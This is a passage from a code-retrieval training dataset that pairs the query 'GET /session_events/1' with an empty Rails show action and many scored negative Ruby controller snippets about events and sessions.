\"nsc\"\n url = \"https://pull.logentries.com/#{account_key}/hosts/#{log_set}/#{log_name}/?filter=#{log_prefix}\"\n Rails.logger.debug { \"Fetching log from #{url}\" }\n open(url).read\n else\n File.read(log_path)\n end\n end", "def fail_level\n @fail_level || SEVERITY_LEVELS.last\n end", "def with_no_logs_expected(max_severity, msg = nil, &block)\n logs = capture_logs(&block)\n failures = logs.map do |log|\n severity_str = log[:severity]\n next unless Logger::Severity.const_get(severity_str) >= max_severity\n\n # give a handful of stack frames (no way to know how many are useful)\n bt = log[:caller][0..2].map{|s| \" at #{s}\"}\n if bt.length < log[:caller].length\n bt << \" (...)\"\n end\n\n \" #{severity_str}: #{log[:msg]}\\n\" + bt.join(\"\\n\")\n end.compact\n\n unless failures.empty?\n msg ||= 'Unexpected log messages'\n flunk( ([msg+':'] + failures).join(\"\\n\\n\") )\n end\n end", "def dump_failure(counter, failure)\n end", "def dump_failure(counter, failure)\n end", "def test_failures(build_num)\n test_results(build_num).body['tests'].select do |test_result|\n test_result['result'] == 'failure'\n end\n end", "def test_failed(source, exception, *args)\n test = source.test\n suite_name, test_name = _test_details(test)\n\n @manager.allure_test_failed(test_name, exception)\n end", "def failure_details(io)\n super\n unless test_case.input.empty?\n format_block(io, \"Input\", test_case.input)\n end\n format_block(io, \"Evaluated commands\", test_case.evaluated_commands)\n comparisons.each do |expectation|\n expectation.format_details(io)\n end\n unless test_case.scope.debug.empty?\n format_block(io, \"Contents of *debug*\", test_case.scope.debug)\n end\n format_block(io, \"How to run this test\", test_case.shell_command_details)\n end", "def user_error_filepath\n \"parse_logs/#{study_file.id}/user_log.txt\"\n end", "def find_log_file\n Dir[\"#{@simulation.run_path}/in.log\"].first\n end", "def handle_failure(queue, name, request, exception, execution_time)\n event = LogStash::Event.new\n apply_metadata(event, name, request)\n\n event.tag(\"_http_request_failure\")\n\n # This is also in the metadata, but we send it anyone because we want this\n # persisted by default, whereas metadata isn't. People don't like mysterious errors\n event.set(\"http_request_failure\", {\n \"request\" => structure_request(request),\n \"name\" => name,\n \"error\" => exception.to_s,\n \"backtrace\" => exception.backtrace,\n \"runtime_seconds\" => execution_time\n })\n\n queue << event\n rescue StandardError, java.lang.Exception => e\n @logger.error? && @logger.error(\"Cannot read URL or send the error as an event!\",\n :exception => e,\n :exception_message => e.message,\n :exception_backtrace => e.backtrace,\n :name => name)\n\n # If we are running in debug mode we can display more information about the\n # specific request which could give more details about the connection.\n @logger.debug? && @logger.debug(\"Cannot read URL or send the error as an event!\",\n :exception => e,\n :exception_message => e.message,\n :exception_backtrace => e.backtrace,\n :name => name,\n :url => request)\n end", "def test_wrong_fixture_format_string\n tmp_yaml [\"empty\", \"yml\"], \"qwerty\" do |t|\n assert_raises(ActiveRecord::Fixture::FormatError) do\n File.open(t.path) { |fh| fh.to_a }\n end\n end\n end", "def parse_logfile\n each_successful_run do |timestamp, host|\n last[host] = LastRun.new(host, timestamp)\n end\n end", "def checkErrorFile(file, logkey='')\n if File.file?(file)\n Mcmlln::Tools.deleteFile(file)\n else\n logstring = 'n-a'\n end\nrescue => logstring\nensure\n Mcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend", "def failure(err_msg)\n @fail = true\n @err_msg = err_msg\n logger.info \"\\n\\n#{@err_msg}\\n\\n\"\n end", "def failure(err_msg)\n @fail = true\n @err_msg = err_msg\n logger.info \"\\n\\n#{@err_msg}\\n\\n\"\n end" ]
[ "0.65006655", "0.62214607", "0.59948045", "0.59848666", "0.58924156", "0.5834719", "0.57631034", "0.5689074", "0.56279415", "0.56176585", "0.55789346", "0.55740136", "0.5520207", "0.5510251", "0.550669", "0.54862994", "0.54499424", "0.54341286", "0.54132015", "0.54132015", "0.54132015", "0.54012823", "0.5370304", "0.53657", "0.5352366", "0.53484654", "0.53376174", "0.531734", "0.5303579", "0.528162", "0.5263978", "0.52557", "0.52284604", "0.52264655", "0.52150947", "0.5205246", "0.51998657", "0.5192946", "0.51701385", "0.5157125", "0.515404", "0.51517063", "0.5150865", "0.51462036", "0.51248574", "0.5124696", "0.5124496", "0.5111155", "0.5070263", "0.5069096", "0.5066514", "0.5053664", "0.5022311", "0.5019259", "0.50177675", "0.50103146", "0.50083643", "0.5005771", "0.5000669", "0.49961218", "0.4992515", "0.4991145", "0.49847963", "0.4982493", "0.4980878", "0.4980878", "0.49785325", "0.49661767", "0.49635282", "0.49632713", "0.49626547", "0.49598256", "0.4959278", "0.49575862", "0.4955716", "0.49530315", "0.49301153", "0.4929489", "0.4927784", "0.49224254", "0.4920295", "0.4913561", "0.4906916", "0.49064744", "0.4906108", "0.49046043", "0.49042055", "0.49041325", "0.49041325", "0.4903027", "0.4901895", "0.48916984", "0.48913676", "0.48901728", "0.4888754", "0.48750284", "0.4867231", "0.4865831", "0.48646486", "0.48646486" ]
0.71612245
0
GET /session_events GET /session_events.json
def index @session_events = SessionEvent.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_event(session, options={})\n json_request \"get\", {:session => session}, options\n end", "def index\n @sessions = @event.sessions\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sessions }\n end\n end", "def show\n @session = @event.sessions.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @session }\n end\n end", "def events\n response = self.class.get('/v1/events.json')\n response.code == 200 ? JSON.parse(response.body) : nil\n end", "def get_events\n response = request(:get, \"/devmgr/v2/events\")\n #status(response, 200, 'Failed to get current events from server')\n #JSON.parse(response.body)\n response\n end", "def get_events()\n @client.make_request(:get, @client.concat_user_path(\"#{CALL_PATH}/#{id}/events\"))[0]\n end", "def index\n @events = current_user.events\n\n render json: @events\n end", "def get_events\n if @user.uuid.present?\n @events = @user.events.active_events.page(params[:page])\n paginate json: @events, per_page: params[:per_page]\n elsif @user.uuid == \"guest\"\n @events = Com::Nbos::Events::Event.active_events.where(tenant_id: @user.tenant_id)\n render json: @events\n else\n render :json => {messageCode: \"bad.request\", message: \"Bad Request\"}, status: 400\n end\n end", "def show\n session[:oauth] = Koala::Facebook::OAuth.new(APP_ID, APP_SECRET, SITE_URL + '/callback?event_id='+params[:id])\n @auth_url = session[:oauth].url_for_oauth_code(:permissions=>\"email, user_events, friends_events, rsvp_event\") \n puts session.to_s + \"<<< session\"\n \n\n @event = Event.find(params[:id])\n \n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def get_events\n Resources::Event.parse(request(:get, \"Events\"))\n end", "def events\n data[\"events\"]\n end", "def show\n #TODO this should query based the id being equal to the id in the events table on the session[:userid] being equal to the user_id column in the table\n @event = Event.find(params[:event_id])\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end", "def index\n #returns all events from eventbrite API, need to change to pull from her endpoint\n @eventList = Event.retrieve_all_events params\n render json: @eventList, status: 200\n end", "def index\n \n @events = current_user.events\n \n \n respond_to do |format|\n format.html {}\n format.json { render json: Event.events_to_json(@events) }\n end\n end", "def index\n @events = current_user.events\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n render json: @events, status: 200\n end", "def index\n return unless restrict_to_hosts\n\n @sessions = Session.where(event_id: @event.id)\n end", "def index\n @events = Event.all\n render json: @events\n end", "def past_events\n @events = Event.past\n render json: @events, include: :talks\n end", "def get_events\n # conditions = \"starttime >= '#{Time.at(params['start'].to_i).to_formatted_s(:db)}' AND endtime <= '#{Time.at(params['end'].to_i).to_formatted_s(:db)}'\"\n conditions = \"starttime >= '#{params['start'].to_time}' AND endtime <= '#{(params['end']+\" 23:59:59\").to_time}'\"\n if @profile\n @events = @profile.events.where conditions\n else\n conditions += \" AND profile_type = '#{event_params[:profile_type]}'\"\n @events = Event.where conditions\n end\n\n events = []\n @events.each do |event|\n events << {:id => event.id, :title => event.title, :description => event.description || \"Some cool description here...\", :start => \"#{event.starttime.iso8601}\", :end => \"#{event.endtime.iso8601}\", :allDay => event.all_day, :recurring => (event.event_series_id) ? true : false}\n end\n set_profile\n render :text => events.to_json\n end", "def index\n @events = Event.all\n\n render json: @events\n end", "def index\n @event = Event.all\n render json: @event\n end", "def events\r\n\tif session[\"fb_access_token\"].present?\r\n\t\t@graph = Koala::Facebook::API.new(session[\"fb_access_token\"])\r\n\t\t@string = @graph.get_connections(\"me\", \"events\")\r\n\t\t#@events.class\r\n\t\t#@events.first\r\n\tend\r\nend", "def index\n\t\t@events = current_user.events\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @events }\n\t\tend\n\tend", "def show_events\n render json: current_user\n end", "def events\n url = 'https://api.artic.edu/api/v1/exhibitions?limit=35'\n\n res = RestClient.get(url)\n JSON.parse(res)\nend", "def get_event_results(subsessionID)\n res = $client.post('/membersite/member/GetSubsessionResults',\n \"subsessionID=#{subsessionID}\", $headers)\n JSON.parse res.body\nend", "def index\n @events = Event.live\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.live\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = User.find_by(auth_token:request.headers['AuthorizationToken'].to_s).events.upcoming.order(:start)\n\n render json: @events \n end", "def connected_index\n @user_events = UserEvent.where(user_id: current_user.id)\n render json: @user_events, status: 200\n end", "def show\n event_id = params[:id]\n if event_id.present?\n @event = Com::Nbos::Events::Event.active_events.where(id: event_id, tenant_id: @user.tenant_id)\n if @event.present?\n render :json => @event\n else\n render :json => {messageCode: \"event.notfound\", message: \"Event Not Found\"}, status: 404\n end\n else\n render :json => {messageCode: \"bad.request\", message: \"Bad Request\"}, status: 400\n end\n end", "def state_events(state)\n api_return = RestClient.get('https://app.ticketmaster.com/discovery/v2/events.json?stateCode=' + state + '&apikey=' + $ticket_master_api_key)\n JSON.parse(api_return)\nend", "def index\n @events = @category.events\n render json: @events \n end", "def list\n @events = Event.coming_events\n respond_to do |format|\n format.html do\n render layout: 'events'\n end\n format.json do \n events = @events.map {|event| {event: event, users: event.users, applied: event.users.include?(current_user) }}\n render json: events \n end\n end\n end", "def fullcalendar_events_json\n events.map do |event|\n {\n id: event.id.to_s,\n title: event.name,\n start: event.starts_at.strftime('%Y-%m-%d %H:%M:%S'),\n end: event.ends_at.strftime('%Y-%m-%d %H:%M:%S'),\n allDay: event.all_day,\n url: event_path(event)\n }\n end\n end", "def index\n @events = current_user.events\n end", "def index\n @events = current_user.events\n end", "def index\n event = Event.find(params[:event_id])\n render json: event.route, status: :ok\n end", "def show\n render json: @event, status: :ok\n end", "def show\n @event = Event.find(params[:id])\n render json: @event\n end", "def index\n @events = Event.find(:all)\n respond_to do |format|\n format.html\n format.json\n end\n end", "def index\n pag = params[:page] || 1\n limit = params[:limit] || 30\n events = ::Event.paginate(:page => pag, :per_page => limit).where(user_id: current_user.id)\n render :status => 200, :json => {success: true, limit: limit, page:pag, data: events }\n end", "def show\n render json: @clock_event\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.json { render json: @events }\n end\n end", "def index\n response = { events: Event.all }\n respond_to do |format|\n format.json { render json: response.to_json }\n format.html { render :index }\n end\n end", "def show\n render json: @event\n end", "def show\n render json: @event\n end", "def show\n render json: @event\n end", "def show\n render json: @event\n end", "def show\n render json: @event\n end", "def index\n if params[:user_id]\n @clock_events = ClockEvent.where(user_id: params[:user_id]).order(event_time: :desc)\n end\n render json: @clock_events\n end", "def events\n data.events\n end", "def event(service_id, event_sid)\n response = @client.get(\"/api/v1/services/#{service_id}/events/#{event_sid}\")\n return JSON.parse(response.body)\n end", "def index\n if params[:user]\n @events = Event.where(user: params[:user]).first\n else\n @events = Event.all.order('created_at asc')\n end\n\n render json: @events, :only => [:id, :date, :user, :event_type, :message, :otheruser]\n end", "def show\n \trender json: @event\n end", "def events\n collection(\"events\")\n end", "def index\n respond_with(@events)\n end", "def index\n respond_to do |format|\n format.html\n format.json { render json: @events }\n end\n end", "def create\n @session = @event.sessions.new(params[:session])\n\n respond_to do |format|\n if @session.save\n format.html { redirect_to [@event, @session], notice: 'Session was successfully created.' }\n format.json { render json: [@event, @session], status: :created, location: [@event, @session] }\n else\n format.html { render action: \"new\" }\n format.json { render json: @session.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @events = current_user.account.events\n end", "def index\n @events = {\n total_number_events: Event.count,\n total_number_charges: EventCharge.count,\n total_cents_charges: EventCharge.total,\n own_events: EventDecorator.decorate(Event.active.where(owner: current_user)),\n joined_events: current_user.joined_events.active,\n trashed_events: current_user.events.trashed\n }\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n render json: @events, include: :talks\n end", "def show\n @events = fetch_events\n end", "def index\n @annual_events = AnnualEvent.all\n @user_code = session[:login_user]\n end", "def user_event_inforamtion\n @user_events = UserEvent.where(event_id: params[:event_id])\n\n render json: @user_events, root: \"user_event_information\", each_serializer: Web::V1::UserEventInformationSerializer\n end", "def index\n @sessions = Session.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sessions }\n end\n end", "def get(event_id)\n @client.request \"events/#{event_id}\"\n end", "def events\n\t\t@user = User.find_by_id(params[:id]) || current_user\n\t\t@avas = @user.availabilities\n\t\t@events = @avas.map do |event|\n\t\t\tif event.start_time < DateTime.now\n\t\t\t\tcolor = \"#D8841B\"\n\t\t\t\tstatus = \"past\"\n\t\t\telsif event.class_rooms.class_chats.present?\n\t\t\t\tcolor = \"#c70019\"\n\t\t\t\tstatus = \"accepted\"\n\t\t\telsif event.class_rooms.for_student(current_user).present?\n\t\t\t\tcolor = \"#36B3DB\"\n\t\t\t\tstatus = \"requested\"\n\t\t\telse\n\t\t\t\tcolor = \"#56BF56\"\n\t\t\t\tstatus = \"available\"\n\t\t\tend\n\t\t\t{ id: event.id, start: event.start_time, end: event.end_time, color: color, eventBackgroundColor: color, status: status }\n\t\tend\n\n\t\trespond_to do |format|\n\t\t\tformat.json { render json: @events }\n\t\tend\n\tend", "def index\n @session_resources = SessionResource.all\n\n render json: @session_resources\n end", "def event(event, options = {})\n get \"events/#{event}\", options\n end", "def index\n @events = Event.all\n respond_to do |format|\n format.html \n format.json do\n render :json => {events: @events}\n end\n end\n end", "def getEventForClass\n \n @events = Event.where(\"classroom_id = ?\", params[:classroom_id])\n\trender json: @events\n\nend", "def get_events\t\t\t\n @task = UserEvent.where(\"user_id\"=>current_user.id)\n events = []\n @task.each do |task|\n events << {:id => task.id, :title => task.title, :start => DateTime.parse(task.start.to_s).strftime(\"%Y-%m-%d\"), :end => DateTime.parse(task.end.to_s).strftime(\"%Y-%m-%d\") }\n end\n render :text => events.to_json \n end", "def index\n @sessions = active_conference.sessions.order('title')\n @tags = @sessions.tag_counts_on(:tags)\n \n sessions = @sessions.collect { |s| project_one_session(s) }\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: { sessions: sessions }, :except => exceptions }\n format.js { render json: { sessions: sessions }, :except => exceptions, :callback => params[:callback] }\n end\n end", "def index\n render json: Event.all, status: :ok\n end", "def create\n @session_event = SessionEvent.new(session_event_params)\n\n respond_to do |format|\n if @session_event.save\n format.html { redirect_to @session_event, notice: 'Session event was successfully created.' }\n format.json { render :show, status: :created, location: @session_event }\n else\n format.html { render :new }\n format.json { render json: @session_event.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @events = Event.all\n respond_to do |format|\n format.html \n format.json \n end\n end", "def get_events(args)\n\tapi_url = \"#{@base_url}/#{args[:collection]}/#{args[:key]}/events/#{args[:event_type]}\"\n\tdo_the_get_call( url: api_url, user: @user )\nend", "def set_session_event\n @session_event = SessionEvent.find(params[:id])\n end", "def events\n client = Signet::OAuth2::Client.new(client_options)\n client.update!(session[:authorization])\n\n service = Google::Apis::CalendarV3::CalendarService.new\n service.authorization = client\n #controllo se non ho mai loggato con google\n if(!session[:authorization])\n client = Signet::OAuth2::Client.new(client_options)\n redirect_to client.authorization_uri.to_s\n else\n #controllo se il token è scaduto\n response = Net::HTTP.get(URI.parse('https://www.googleapis.com/oauth2/v1/tokeninfo?access_token='+(session[:authorization].first[1])))\n if(response.split[2][1,13] == \"invalid_token\")\n client =●●●●●● Signet::OAuth2::Client.new(client_options)\n redirect_to client.authorization_uri.to_s\n else\n @event_list = service.list_events(params[:calendar_id])\n end\n end\n end", "def show\n render json: @event_subscription\n end", "def index\n\t\tcards_per_page = 12\n\n\t\tif params[:tag]\n\t\t\tif user_signed_in? && current_user.has_role?(:admin)\n\t\t\t\t@events = Event.order(\"created_at DESC\").tagged_with(params[:tag]).page(params[:page]).per_page(cards_per_page) || Event.all \n\t\t\telse\n\t\t\t\t@events = Event.where('released_at <= ? AND finish_on >= ? AND published = TRUE', Time.now, Time.now).order(\"created_at DESC\").tagged_with(params[:tag]).page(params[:page]).per_page(cards_per_page) || Event.all \n\t\t\tend\n\t\telse\n\t\t\tif user_signed_in? && current_user.has_role?(:admin)\n\t\t\t\t@events = Event.order(\"created_at DESC\").page(params[:page]).per_page(cards_per_page) || Event.all\n\t\t\telse\n\t\t\t\t@events = Event.where('released_at <= ? AND finish_on >= ? AND published = TRUE', Time.now, Time.now).order(\"created_at DESC\").page(params[:page]).per_page(cards_per_page) || Event.all\n\t\t\tend\n\t\tend\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @events }\n\t\tend\n\tend", "def show\n @event = Event.find(params[:id])\n array = []\n hash = {}\n @event.attribute_names.each {|var| hash[var] = @event.instance_variable_get(\"@attributes\")[var] } \n\n user_event = User.find(@event.user_id)\n res = {:event => hash, :login => user_event.login}\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: res }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @event, methods: [:talks] }\n end\n end", "def index\n @events = Event.available.page(params[:page])\n end", "def show\n @session = Sso::Session.find(sso_session_id)\n render json: @session, serializer: Sso::SessionSerializer\n end", "def show\n # @event = Event.find(params[:id])\n raise ApiAccessEvanta::RecordOutOfScope unless current_user.allowed_to?(action: :view, object: @event)\n render json: @event\n end", "def index\n\t\t@events = Event.all.order('created_at desc')\n\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json { render :json => @events }\n\t\tend\n\tend", "def dashboard\n @event = Event.find(params[:id]) || not_found\n @event_activity_logs = @event.event_activity_logs.paginate(:page => params[:page]).order('created_at desc')\n @lookup_event_sequences = LookupEventSequence.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n redirect_to @event, status: :moved_permanently if request.path != event_path(@event)\n gon.push(\n events: event_path(format: :json),\n single_event: true,\n start_event: @event.start_date,\n end_event: @event.end_date\n )\n seo_tag_show event\n end", "def index\n @upcoming_events = Event.upcoming\n @past_events = Event.past\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end" ]
[ "0.81535316", "0.8041107", "0.7728924", "0.7249225", "0.72150165", "0.7190642", "0.71063375", "0.70706964", "0.7054617", "0.6993031", "0.6838284", "0.67810035", "0.6740325", "0.67319626", "0.66829884", "0.66735524", "0.6621244", "0.6616195", "0.66060007", "0.6604854", "0.65883964", "0.6577955", "0.6576938", "0.6566353", "0.6561093", "0.6552391", "0.6489151", "0.6468382", "0.6468382", "0.64641213", "0.64408773", "0.64332885", "0.64241225", "0.64196897", "0.6410194", "0.6404228", "0.6403547", "0.6403547", "0.64017695", "0.639367", "0.6381285", "0.6372264", "0.63719535", "0.63687676", "0.6367043", "0.63558966", "0.634792", "0.634792", "0.634792", "0.634792", "0.634792", "0.63360465", "0.63317823", "0.6330269", "0.6316093", "0.63143915", "0.6313537", "0.6309702", "0.6305244", "0.6304627", "0.62995046", "0.6297872", "0.62872267", "0.6278737", "0.6277204", "0.6273641", "0.62685096", "0.6268453", "0.6266718", "0.6266326", "0.6265224", "0.626187", "0.6235919", "0.62312055", "0.62229466", "0.62163365", "0.6216212", "0.6213894", "0.6213349", "0.62125367", "0.62050664", "0.6198493", "0.61825764", "0.6177356", "0.617703", "0.6175314", "0.6172173", "0.617086", "0.6170444", "0.6166299", "0.61661404", "0.61653334", "0.6164608", "0.6164608", "0.6164608", "0.6164608", "0.6164608", "0.6164608", "0.6164608", "0.6164608" ]
0.76977867
3
GET /session_events/1 GET /session_events/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_event(session, options={})\n json_request \"get\", {:session => session}, options\n end", "def index\n @sessions = @event.sessions\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sessions }\n end\n end", "def show\n @session = @event.sessions.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @session }\n end\n end", "def index\n @session_events = SessionEvent.all\n end", "def get_events()\n @client.make_request(:get, @client.concat_user_path(\"#{CALL_PATH}/#{id}/events\"))[0]\n end", "def show\n #TODO this should query based the id being equal to the id in the events table on the session[:userid] being equal to the user_id column in the table\n @event = Event.find(params[:event_id])\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end", "def show\n session[:oauth] = Koala::Facebook::OAuth.new(APP_ID, APP_SECRET, SITE_URL + '/callback?event_id='+params[:id])\n @auth_url = session[:oauth].url_for_oauth_code(:permissions=>\"email, user_events, friends_events, rsvp_event\") \n puts session.to_s + \"<<< session\"\n \n\n @event = Event.find(params[:id])\n \n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def index\n @events = current_user.events\n\n render json: @events\n end", "def get_events\n response = request(:get, \"/devmgr/v2/events\")\n #status(response, 200, 'Failed to get current events from server')\n #JSON.parse(response.body)\n response\n end", "def events\n response = self.class.get('/v1/events.json')\n response.code == 200 ? JSON.parse(response.body) : nil\n end", "def get_events\n if @user.uuid.present?\n @events = @user.events.active_events.page(params[:page])\n paginate json: @events, per_page: params[:per_page]\n elsif @user.uuid == \"guest\"\n @events = Com::Nbos::Events::Event.active_events.where(tenant_id: @user.tenant_id)\n render json: @events\n else\n render :json => {messageCode: \"bad.request\", message: \"Bad Request\"}, status: 400\n end\n end", "def show\n event_id = params[:id]\n if event_id.present?\n @event = Com::Nbos::Events::Event.active_events.where(id: event_id, tenant_id: @user.tenant_id)\n if @event.present?\n render :json => @event\n else\n render :json => {messageCode: \"event.notfound\", message: \"Event Not Found\"}, status: 404\n end\n else\n render :json => {messageCode: \"bad.request\", message: \"Bad Request\"}, status: 400\n end\n end", "def show\n @event = Event.find(params[:id])\n render json: @event\n end", "def index\n @events = Event.all\n render json: @events, status: 200\n end", "def show\n render json: @event, status: :ok\n end", "def index\n @event = Event.all\n render json: @event\n end", "def get(event_id)\n @client.request \"events/#{event_id}\"\n end", "def index\n #returns all events from eventbrite API, need to change to pull from her endpoint\n @eventList = Event.retrieve_all_events params\n render json: @eventList, status: 200\n end", "def index\n \n @events = current_user.events\n \n \n respond_to do |format|\n format.html {}\n format.json { render json: Event.events_to_json(@events) }\n end\n end", "def get_event_results(subsessionID)\n res = $client.post('/membersite/member/GetSubsessionResults',\n \"subsessionID=#{subsessionID}\", $headers)\n JSON.parse res.body\nend", "def index\n @events = current_user.events\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n render json: @events\n end", "def index\n @events = Event.all\n\n render json: @events\n end", "def set_session_event\n @session_event = SessionEvent.find(params[:id])\n end", "def get_event_id\n @event_id = session[:event_params] || []\n end", "def details\n get(\"v1/event/#{@id}\")\n end", "def show\n render json: @clock_event\n end", "def show\n render json: @event\n end", "def show\n render json: @event\n end", "def show\n render json: @event\n end", "def show\n render json: @event\n end", "def show\n render json: @event\n end", "def index\n return unless restrict_to_hosts\n\n @sessions = Session.where(event_id: @event.id)\n end", "def get_events\n Resources::Event.parse(request(:get, \"Events\"))\n end", "def index\n event = Event.find(params[:event_id])\n render json: event.route, status: :ok\n end", "def show\n \trender json: @event\n end", "def event(service_id, event_sid)\n response = @client.get(\"/api/v1/services/#{service_id}/events/#{event_sid}\")\n return JSON.parse(response.body)\n end", "def events\n data[\"events\"]\n end", "def index\n @events = Event.live\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.live\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def show\n render json: EventSerializer.new(@event).as_json, status: 200\n end", "def index\n if params[:user]\n @events = Event.where(user: params[:user]).first\n else\n @events = Event.all.order('created_at asc')\n end\n\n render json: @events, :only => [:id, :date, :user, :event_type, :message, :otheruser]\n end", "def index\n @event = Event.find(params[:event_id])\n\n end", "def state_events(state)\n api_return = RestClient.get('https://app.ticketmaster.com/discovery/v2/events.json?stateCode=' + state + '&apikey=' + $ticket_master_api_key)\n JSON.parse(api_return)\nend", "def show_events\n render json: current_user\n end", "def index\n @events = User.find_by(auth_token:request.headers['AuthorizationToken'].to_s).events.upcoming.order(:start)\n\n render json: @events \n end", "def user_event_inforamtion\n @user_events = UserEvent.where(event_id: params[:event_id])\n\n render json: @user_events, root: \"user_event_information\", each_serializer: Web::V1::UserEventInformationSerializer\n end", "def get_events\n # conditions = \"starttime >= '#{Time.at(params['start'].to_i).to_formatted_s(:db)}' AND endtime <= '#{Time.at(params['end'].to_i).to_formatted_s(:db)}'\"\n conditions = \"starttime >= '#{params['start'].to_time}' AND endtime <= '#{(params['end']+\" 23:59:59\").to_time}'\"\n if @profile\n @events = @profile.events.where conditions\n else\n conditions += \" AND profile_type = '#{event_params[:profile_type]}'\"\n @events = Event.where conditions\n end\n\n events = []\n @events.each do |event|\n events << {:id => event.id, :title => event.title, :description => event.description || \"Some cool description here...\", :start => \"#{event.starttime.iso8601}\", :end => \"#{event.endtime.iso8601}\", :allDay => event.all_day, :recurring => (event.event_series_id) ? true : false}\n end\n set_profile\n render :text => events.to_json\n end", "def get_event ( event_key )\n get_api_resource \"#{@@api_base_url}event/#{event_key}\"\n end", "def show\n @event_event = Event::Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event_event }\n end\n end", "def show\n @myevent = Myevent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @myevent }\n end\n end", "def show\n @current_event = CurrentEvent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @current_event }\n end\n end", "def show\n # @event = Event.find(params[:id])\n raise ApiAccessEvanta::RecordOutOfScope unless current_user.allowed_to?(action: :view, object: @event)\n render json: @event\n end", "def index\n @events = @category.events\n render json: @events \n end", "def past_events\n @events = Event.past\n render json: @events, include: :talks\n end", "def events\n url = 'https://api.artic.edu/api/v1/exhibitions?limit=35'\n\n res = RestClient.get(url)\n JSON.parse(res)\nend", "def show\n render json: @event_subscription\n end", "def events\r\n\tif session[\"fb_access_token\"].present?\r\n\t\t@graph = Koala::Facebook::API.new(session[\"fb_access_token\"])\r\n\t\t@string = @graph.get_connections(\"me\", \"events\")\r\n\t\t#@events.class\r\n\t\t#@events.first\r\n\tend\r\nend", "def index\n @events = Event.all\n\n respond_to do |format|\n format.json { render json: @events }\n end\n end", "def create\n @session = @event.sessions.new(params[:session])\n\n respond_to do |format|\n if @session.save\n format.html { redirect_to [@event, @session], notice: 'Session was successfully created.' }\n format.json { render json: [@event, @session], status: :created, location: [@event, @session] }\n else\n format.html { render action: \"new\" }\n format.json { render json: @session.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @event, methods: [:talks] }\n end\n end", "def show\n @users_event = UsersEvent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @users_event }\n end\n end", "def index\n @events = Event.find(:all)\n respond_to do |format|\n format.html\n format.json\n end\n end", "def show\n redirect_to @event, status: :moved_permanently if request.path != event_path(@event)\n gon.push(\n events: event_path(format: :json),\n single_event: true,\n start_event: @event.start_date,\n end_event: @event.end_date\n )\n seo_tag_show event\n end", "def show\n @event = Event.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def dashboard\n @event = Event.find(params[:id]) || not_found\n @event_activity_logs = @event.event_activity_logs.paginate(:page => params[:page]).order('created_at desc')\n @lookup_event_sequences = LookupEventSequence.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def event(event, options = {})\n get \"events/#{event}\", options\n end", "def index\n if params[:user_id]\n @clock_events = ClockEvent.where(user_id: params[:user_id]).order(event_time: :desc)\n end\n render json: @clock_events\n end", "def 